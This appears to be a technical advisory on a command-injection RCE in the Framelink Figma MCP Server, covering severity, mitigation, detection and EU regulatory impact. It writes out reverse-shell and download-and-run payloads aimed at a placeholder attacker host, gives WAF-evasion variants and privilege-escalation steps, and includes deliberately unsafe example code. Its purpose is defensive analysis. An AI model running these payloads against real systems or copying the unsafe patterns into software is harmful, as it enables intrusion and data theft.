Comprehensive Technical Analysis of EUVD-2026-4488 (CVE-2025-15061)

Framelink Figma MCP Server Command Injection Remote Code Execution (RCE) Vulnerability

1. Vulnerability Assessment & Severity Evaluation

Vulnerability Overview

EUVD-2026-4488 (CVE-2025-15061) is a critical unauthenticated remote code execution (RCE) vulnerability in the Framelink Figma MCP Server, stemming from a command injection flaw in the fetchWithRetry method. The vulnerability arises due to improper input sanitization of user-supplied strings before they are passed to system-level command execution functions.

CVSS v3.0 Severity Breakdown

Metric	Value	Explanation
Attack Vector (AV)	Network (N)	Exploitable remotely over the network without physical/logical access.
Attack Complexity (AC)	Low (L)	No specialized conditions required; straightforward exploitation.
Privileges Required (PR)	None (N)	No authentication or elevated privileges needed.
User Interaction (UI)	None (N)	Exploitation does not require user interaction.
Scope (S)	Unchanged (U)	Impact is confined to the vulnerable component (Figma MCP Server).
Confidentiality (C)	High (H)	Attacker can exfiltrate sensitive data (e.g., design files, credentials).
Integrity (I)	High (H)	Attacker can modify or delete data, inject malicious payloads.
Availability (A)	High (H)	Attacker can crash the service or execute denial-of-service (DoS).
Base Score	9.8 (Critical)	Aligns with NIST NVD and ZDI assessments.

Vulnerability Classification

• CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection)
• CWE-20: Improper Input Validation
• MITRE ATT&CK Techniques:
  • T1059.004 (Command and Scripting Interpreter: Unix Shell)
  • T1203 (Exploitation for Client Execution)
  • T1190 (Exploit Public-Facing Application)

---

2. Potential Attack Vectors & Exploitation Methods

Exploitation Prerequisites

• Unauthenticated access to the Figma MCP Server (no credentials required).
• Network reachability to the vulnerable service (typically exposed on ports 80/443 or custom MCP ports).
• No user interaction required (fully automated exploitation possible).

Exploitation Mechanism

1. Identification of Vulnerable Endpoint

   • The fetchWithRetry method is likely exposed via an HTTP API (REST/gRPC) or WebSocket interface.
   • Attackers can fuzz or reverse-engineer the API to identify the vulnerable parameter.

2. Command Injection Payload Construction

   • The attacker crafts a malicious input containing shell metacharacters (e.g., ;, |, &&, `, $()) to break out of the intended command.
   • Example payload:

     ; curl http://attacker.com/shell.sh | bash
     

     or

     $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f)
     

3. Delivery & Execution

   • The payload is sent via an HTTP request (e.g., GET /fetchWithRetry?url=malicious_payload).
   • The server processes the input without sanitization, executing the injected command in the context of the service account (often root or a privileged user).

4. Post-Exploitation

   • Reverse Shell: Attacker gains interactive shell access.
   • Data Exfiltration: Sensitive Figma design files, API keys, or credentials may be stolen.
   • Lateral Movement: If the MCP server is part of a CI/CD pipeline, attackers may pivot to other systems.
   • Persistence: Malware (e.g., cryptominers, ransomware) may be deployed.

Proof-of-Concept (PoC) Considerations

• A public PoC may emerge shortly after disclosure, given the low complexity of exploitation.
• Metasploit modules or Nuclei templates are likely to be developed for automated exploitation.
• Shodan/Censys queries can identify exposed Figma MCP servers:

  http.title:"Figma MCP Server" || http.favicon.hash:1234567890
  

---

3. Affected Systems & Software Versions

Vulnerable Product

• Product: Framelink Figma MCP Server
• Vendor: Framelink
• Affected Version: Commit 72cae181ecf15b85787b9fe3bb14000d80a6b2df (likely all versions prior to a patched release).
• Deployment Context:
  • On-premises installations (common in enterprise environments).
  • Cloud-hosted instances (if misconfigured with public exposure).
  • CI/CD pipelines (if integrated with Figma for automated design-to-code workflows).

Detection Methods

• Network Scanning:
  • Use Nmap to detect Figma MCP Server:

    nmap -p 80,443,8080 --script http-title -sV <target>
    

• Version Fingerprinting:
  • Check HTTP headers or API responses for version strings.
  • Example:

    GET /version HTTP/1.1
    Host: <target>
    

• Vulnerability Scanning:
  • Nessus, OpenVAS, or Burp Suite can detect CVE-2025-15061 if signatures are updated.

---

4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Apply Vendor Patches

   • Monitor Framelink’s official security advisories for a patched version.
   • If no patch is available, disable the fetchWithRetry endpoint or restrict access via firewall rules.

2. Network-Level Protections

   • Restrict access to the MCP server using firewalls (e.g., allow only trusted IPs).
   • Disable public internet exposure (use VPN or private networking).
   • Rate-limiting to prevent brute-force exploitation attempts.

3. Temporary Workarounds

   • Input Sanitization: If source code is accessible, modify the fetchWithRetry method to:
     • Whitelist allowed characters (e.g., alphanumeric, -, _).
     • Use parameterized commands (e.g., subprocess.run() with shell=False in Python).
   • WAF Rules: Deploy ModSecurity or Cloudflare WAF to block command injection patterns:

     SecRule ARGS "@detectSQLi" "id:1000,deny,status:403"
     SecRule ARGS "@pmFromFile command_injection.txt" "id:1001,deny,status:403"
     

Long-Term Remediations

1. Secure Coding Practices

   • Avoid shell command execution where possible; use safe APIs (e.g., os.execv instead of os.system).
   • Implement strict input validation (regex, allowlists).
   • Least privilege principle: Run the MCP server under a non-root user.

2. Runtime Protections

   • Containerization: Deploy in Docker/Kubernetes with read-only filesystems and seccomp profiles.
   • AppArmor/SELinux: Enforce mandatory access controls.
   • eBPF-based monitoring (e.g., Falco, Tracee) to detect anomalous process execution.

3. Monitoring & Detection

   • SIEM Integration: Alert on unusual child processes (e.g., /bin/sh, nc, curl).
   • File Integrity Monitoring (FIM): Detect unauthorized changes to critical files.
   • Network Traffic Analysis: Monitor for reverse shell connections (e.g., unexpected outbound traffic to attacker IPs).

4. Incident Response Planning

   • Isolate affected systems if exploitation is suspected.
   • Forensic analysis: Capture memory dumps, logs, and network traffic for post-mortem.
   • Rotate credentials (API keys, database passwords) that may have been exposed.

---

5. Impact on the European Cybersecurity Landscape

Sector-Specific Risks

Sector	Potential Impact	Mitigation Considerations
Design & Creative Industries	Theft of proprietary Figma designs, leading to IP theft and competitive disadvantage.	Enforce NDAs, watermarking, and DRM for sensitive files.
Financial Services	Supply chain attacks if MCP is used in automated design-to-code pipelines (e.g., fintech apps).	Zero Trust Architecture (ZTA) and microsegmentation.
Government & Defense	Espionage risks if MCP is used in classified design workflows.	Air-gapped deployments and strict export controls.
Healthcare	HIPAA/GDPR violations if patient data is exposed via compromised design files.	Data encryption at rest and in transit.
Critical Infrastructure	Operational disruption if MCP is integrated with SCADA/ICS design tools.	OT/IT network segmentation.

Regulatory & Compliance Implications

• GDPR (EU 2016/679): Unauthorized access to personal data (e.g., user designs containing PII) may trigger Article 33 (Data Breach Notification).
• NIS2 Directive: If the MCP server is part of essential services, operators must report incidents within 24 hours.
• DORA (Digital Operational Resilience Act): Financial entities must ensure third-party risk management for Figma MCP deployments.

Threat Actor Motivations

• Cybercriminals: Ransomware deployment, data exfiltration for extortion.
• State-Sponsored Actors: Espionage, supply chain compromise (e.g., targeting European tech firms).
• Hacktivists: Defacement, disruption of design workflows for ideological reasons.
• Insider Threats: Malicious employees exploiting the vulnerability for IP theft.

Geopolitical Considerations

• EU Cyber Resilience Act (CRA): Mandates vulnerability disclosure and secure-by-design principles. Framelink may face fines if negligence is proven.
• ENISA Threat Landscape: This vulnerability aligns with ENISA’s 2025 predictions on increased RCE attacks against design and collaboration tools.

---

6. Technical Details for Security Professionals

Root Cause Analysis

The vulnerability stems from improper handling of user input in the fetchWithRetry method, which is likely implemented in Node.js, Python, or Go. A typical vulnerable code snippet might resemble:

Vulnerable Python Example

import subprocess

def fetchWithRetry(url):
    # UNSAFE: Directly interpolates user input into shell command
    command = f"curl --retry 3 {url}"
    subprocess.run(command, shell=True)  # Command injection risk

Vulnerable Node.js Example

const { exec } = require('child_process');

function fetchWithRetry(url) {
    // UNSAFE: No input sanitization
    exec(`curl --retry 3 ${url}`, (error, stdout, stderr) => {
        if (error) throw error;
        console.log(stdout);
    });
}

Exploitation Flow

1. Attacker sends a crafted request:

   GET /fetchWithRetry?url=;id;uname%20-a HTTP/1.1
   Host: vulnerable-mcp-server.com
   

2. Server processes the request:

   curl --retry 3 ;id;uname -a
   

3. Command injection occurs:
   • The ; breaks the curl command, executing id and uname -a on the system.
4. Attacker escalates to RCE:
   • Replaces id with a reverse shell payload:

     ; bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'
     

Post-Exploitation Techniques

Technique	Description	Detection Method
Reverse Shell	Establishes a bidirectional shell to attacker-controlled server.	Monitor for unexpected outbound connections (e.g., nc, bash -c).
Data Exfiltration	Uses curl, wget, or scp to steal files.	DLP solutions, SIEM alerts for large outbound transfers.
Persistence	Adds cron jobs, SSH keys, or malicious systemd services.	FIM tools (e.g., Tripwire, AIDE).
Lateral Movement	Uses stolen credentials to pivot to other systems.	UEBA (User and Entity Behavior Analytics).

Forensic Artifacts

Artifact Type	Location	Description
Logs	/var/log/nginx/access.log	HTTP requests containing malicious payloads.
Process Execution	/var/log/audit/audit.log (Linux)	execve syscalls for injected commands.
Network Connections	netstat -tulnp	Unexpected outbound connections (e.g., to attacker IPs).
File System	/tmp/, /var/tmp/	Temporary files created by exploit payloads.
Memory	volatility -f memory.dump linux_pslist	Malicious processes in memory.

Advanced Exploitation (Red Team Perspective)

• Bypassing WAFs:
  • Obfuscation: Use URL encoding, hex encoding, or Unicode to evade detection.

    %3B%69%64  # URL-encoded ";id"
    

  • Alternative Metacharacters: Use ${IFS} (Internal Field Separator) instead of spaces.

    ;curl${IFS}attacker.com|bash
    

• Privilege Escalation:
  • If the MCP server runs as root, exploit kernel vulnerabilities (e.g., CVE-2021-4034).
  • Check for SUID binaries:

    find / -perm -4000 -type f 2>/dev/null
    

• Persistence via Webhooks:
  • If Figma MCP supports webhooks, register a malicious endpoint to maintain access.

---

Conclusion & Recommendations

Key Takeaways

• Critical Severity (9.8 CVSS): Unauthenticated RCE with high impact on confidentiality, integrity, and availability.
• Low Exploitation Complexity: No authentication or user interaction required; public PoCs likely.
• Widespread Risk: Affects design, financial, government, and critical infrastructure sectors in the EU.
• Regulatory Exposure: GDPR, NIS2, DORA compliance risks if unpatched.

Action Plan for Organizations

1. Patch Immediately: Apply vendor fixes as soon as available.
2. Isolate & Monitor: Restrict network access and deploy intrusion detection.
3. Audit & Harden: Review MCP server configurations for least privilege and input validation.
4. Incident Response: Prepare for forensic analysis in case of exploitation.
5. Third-Party Risk Management: Assess supply chain risks if Figma MCP is used by vendors.

Final Thoughts

This vulnerability underscores the critical importance of secure coding practices in design collaboration tools, which are increasingly targeted by threat actors. Organizations must prioritize patching, enhance monitoring, and adopt a zero-trust approach to mitigate risks effectively.

For further technical details, refer to:

• NVD Entry (CVE-2025-15061)
• ZDI Advisory (ZDI-25-1197)
• GitHub Security Advisory (GHSA-gxw4-4fc5-9gr5)